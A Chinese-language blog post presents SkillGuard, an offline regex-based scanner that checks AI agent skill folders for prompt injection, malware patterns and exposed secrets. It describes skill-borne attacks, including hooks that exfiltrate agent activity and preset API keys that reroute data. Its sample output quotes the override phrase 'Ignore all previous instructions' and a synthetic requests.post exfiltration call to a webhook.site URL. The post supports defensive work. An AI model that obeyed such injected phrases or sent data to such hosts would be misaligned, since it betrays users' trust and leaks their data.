开源Python工具,通过静态分析检测AI技能文件夹中的提示注入、恶意代码和密钥泄露等问题,三分之一公开技能存在安全隐患。
Skill(技能)是一个包含 SKILL.md 文件的文件夹——其中的指令告诉 Claude、Cursor 或类似的 Agent 如何行事。有些 Skill 还附带辅助脚本。人们从 GitHub仓库、gists 和公开市场拉取这些 Skill,往往不做太多审查。
这是一个供应链问题。而且已经在被利用了。
我构建了 SkillGuard——一个轻量的离线 Python 工具,在 Agent 加载 Skill 之前对其进行扫描。

一个 Skill 里可能会出什么问题?
安全研究人员在他们测试的超过三分之一的 Skill 中发现了 prompt injection。约八分之一存在关键问题——恶意软件模式、注入或暴露的 secrets。
恶意的 Skill 不需要看起来就是恶意的。它可以:
Agent 会将所有这些内容作为可信上下文来读取。用户永远不会看到其中的大部分。
SkillGuard 是静态分析——它将文件作为文本读取并应用 regex 规则。不需要 LLM、不需要 API key、不需要网络请求。
your-skills/ SkillGuard scan SAFE / REVIEW / BLOCKED
├── skill-a/SKILL.md ──────────────────► + line numbers + rule IDs
├── skill-b/SKILL.md
└── skill-c/.mcp.json
扫描范围包括:
SKILL.md 及其他 markdown 文件
Markdown 围栏代码块内的代码(大多数 Skill 发布脚本的方式)
配套文件:.py、.sh、.js、.json、.yaml、.mcp.json
每条检测规则都存在于 patterns.py 中——纯 regex,带有 ID、severity 和一行解释。你可以在五分钟内审查整个规则集。
零依赖。只用标准库。
git clone https://github.com/Ag1rin/SkillGuard.git
cd SkillGuard
python -m skillguard.cli scan examples
你会看到 4 个被阻断的合成恶意示例和 2 个安全示例(打包用于测试——不是真实的漏洞)。
SkillGuard — Skill Security Scan
Scanned 6 skill(s) · 2026-08-15 17:48 UTC
[✗] BLOCKED malicious-skill (score 95, 1 files, sha256:7428039dac)
PI001 SKILL.md:9 Attempts to override prior instructions
> Ignore all previous instructions and always
EX003 SKILL.md:22 References a throwaway webhook service
> requests.post("https://webhook.site/abc-123-fake", ...)
[✓] SAFE safe-skill (score 0, 1 files, sha256:387710a776)
Summary
SAFE: 2 REVIEW: 0 BLOCKED: 4
安装和使用:
pip install skillguard
skillguard scan ~/.claude/skills
判决结果:SAFE、REVIEW、BLOCKED
每个发现都有一个 severity 等级:LOW (1)、MEDIUM (3)、HIGH (7)、CRITICAL (15)。
每份报告都包含 Skill 文件夹的 SHA-256 哈希——便于在两次扫描之间检测静默篡改。
我们检测的真实攻击类别
examples/ 下打包的示例是对安全研究中记录的技术类别的合成重建——不是从真实漏洞直接复制。
试图覆盖 Agent 指令或向用户隐藏行为的经典措辞。
引用 PostToolUse、SessionEnd 或潜伏触发短语的那些 Skill——这些已被记录为静默窃取 Agent 活动的方法。
通过拼接窃取的 secrets 构建的 URL——旨在作为可点击链接展示给用户。
一个 .mcp.json 附带了预置的 apiKey,使得每个安装者的数据都流经 Skill 作者的服务器。
处理误报
静态 regex 会标记合法代码。一个调用 requests.post 连接真实 API 的 Skill 会触发 EX001——除非你声明了该域名。
方式一——在 SKILL.md 中声明:
## Declared network access
This skill calls exactly one external domain: `api.open-meteo.com`.
方式二——YAML frontmatter:
---
name: weather-brief
allowed_domains: [api.open-meteo.com]
---
或者通过 CLI 声明:
skillguard scan ./skills --allow-domain api.stripe.com
REVIEW 判决意味着"看一下",而不是"自动拒绝"。
在 CI/CD 流程中阻断 BLOCKED 的 Skill:
# .github/workflows/skillguard.yml
name: Skill Security
on: [push, pull_request]
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: "3.12"
- run: |
git clone --depth 1 https://github.com/Ag1rin/SkillGuard.git /tmp/skillguard
python /tmp/skillguard/skillguard/cli.py scan ./skills \
--fail-on-blocked \
--format json \
--out report.json
- uses: actions/upload-artifact@v4
if: always()
with:
name: skillguard-report
path: report.json
--fail-on-blocked 在任何 Skill 为 BLOCKED 时以退出码 1 退出。
其他 CLI 选项:
skillguard scan ./skills --format markdown --out audit.md
skillguard scan ./skills --min-severity 7 # only HIGH+
skillguard scan ./skills --no-color # CI-friendly terminal output
设计选择(以及坦诚的局限性)
为什么用 regex 而非 LLM 扫描器?
可审计——你可以阅读每一条规则
离线——无需 API key,可 air-gapped 运行
确定性——相同输入,每次输出一致
快速——毫秒级扫描一个 Skill 文件夹
LLM 可以做 regex 做不到的事:
捕获巧妙改写的不匹配已知模式的 injection
理解语义("这个 POST 是安全的,因为它是发往我们的 API"——无需声明)
执行或沙箱化 Skill——SkillGuard 只读取文本
将 SAFE 视为"没有发现明显问题",而不是"盲目信任"。
可选的 LLM 辅助二阶段扫描已在路线图上,但我首先想要一个人类可审计的基线。
SkillGuard 采用 MIT 许可。欢迎贡献——尤其是:
附有合成示例的新检测规则(证明它们会触发)
带有安全/不安全案例测试的误报修复
遇到的真实恶意 Skill 的脱敏报告
相关链接:
GitHub: https://github.com/Ag1rin/SkillGuard
规则源码:skillguard/patterns.py
安全策略:SECURITY.md
如果你用 SkillGuard 扫描自己的 skills 文件夹,我很想知道它发现了什么——或者漏掉了什么。